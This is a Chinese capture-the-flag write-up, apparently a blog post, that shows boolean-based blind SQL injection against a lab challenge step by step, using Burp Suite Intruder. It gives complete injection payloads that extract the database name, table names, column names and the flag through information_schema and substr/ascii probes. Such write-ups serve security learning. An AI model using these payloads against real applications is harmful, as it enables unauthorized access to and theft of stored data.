zoukankan      html  css  js  c++  java
  • 实验吧--简单sql注入之3

    简单sql注入之3
    以下皆根据布尔盲注手工注入步骤并且借助burpsuite的intruder功能对数据库名、表名等等进行爆破
    需要注意:

    • limit x,1 x从0开始算
    • substr(sql,x,1) x从1开始算

    0x00 爆数据库
    方法一:(可以通过burpsuite拦截数据包,更改ascii值重发获取)
    1’ and length(database())=n
    #数据库名长度是4
    1’ and ascii(substr(database(),x,1))=n#
    通过更改控制查询数据库名第几位
    substr(database(),1,1) 第一位是w
    substr(database(),2,1) 第二位是e
    substr(database(),3,1) 第三位是b
    substr(database(),4,1) 第四位是1
    方法二:另类猜数据库名方法,写一个查找失败的函数,在其返回的错误信息中获得数据库名
    1’ and (select count(*) from aaa) > 0 #
    Table ‘web1.aaa’ doesn’t exist,存在错误回显,显示数据库名为web1
    0x01 爆表名
    1.先爆出表的个数

    1' and (select count(table_name) from information_schema.tables where table_schema=database())=n#
    

    在这里插入图片描述
    爆出破表的个数为2
    2.爆各表的长度

    1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n#    
    

    第一个表名长度为4
    第一个表名长度为5
    3.爆各自表名
    先第一个表
    在这里插入图片描述
    通过更改substr(sql,n,1)中的n来确定爆表名的
    在这里插入图片描述
    substr(sql,1,1)第一位为:f
    substr(sql,2,1)第二位为:l
    substr(sql,3,1)第三位为:a
    substr(sql,4,1)第四位为:g
    所以表名为:flag
    第一个表表名都是flag了就可省略爆第二个表咯
    0x02 爆列名
    1.列的个数

    1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=n#
    

    在这里插入图片描述
    所以有两个列
    2.各列名长度

    1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit x,1))=n#
    

    通过更改x控制查的是哪个列名
    在这里插入图片描述
    limit 0,1 第一个列名长为4
    limit 1,1 第二个列名长为2
    3.各列名

    1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit x,1),1,1))=n#
    

    第一个列名
    在这里插入图片描述
    依次更改substr(sql,1,1),第一个列名第一位为:f
    (sql,2,1),第一个列名第二位为:l
    (sql,3,1),第一个列名第三位为:a
    (sql,4,1),第一个列名第四位为:g

    0x03 爆数据
    1.表中数据行数

      1' and (select count(*) from flag)=n #    
    

    在这里插入图片描述
    有一行数据
    2.各数据长度

     1' and length((select flag from flag limit 0,1))= n #    
    

    在这里插入图片描述
    数据长度26
    3.各数据内容

     1' and ascii(substr((select flag from flag limit 0,1),1,1)) = n #  
    通过更改x来控制输出
    

    在这里插入图片描述
    最后得到flag:flag{Y0u_@r3_50_dAmn_900d}

    你是这白开水一样淡的日子里偷偷加的一颗糖~~
  • 相关阅读:
    nav-tabs转载
    增加或移除active
    numpy.convolve函数用法
    numpy最值
    关于numpy.maximum函数的测试
    [转]关于oracle sql语句查询时表名和字段名要加双引号的问题
    前端
    .net开发至宝------------------MSDN官方文档→_→
    c#简单的io
    C# System.Guid.NewGuid() 格式化
  • 原文地址:https://www.cnblogs.com/0nc3/p/12063478.html
Copyright © 2011-2022 走看看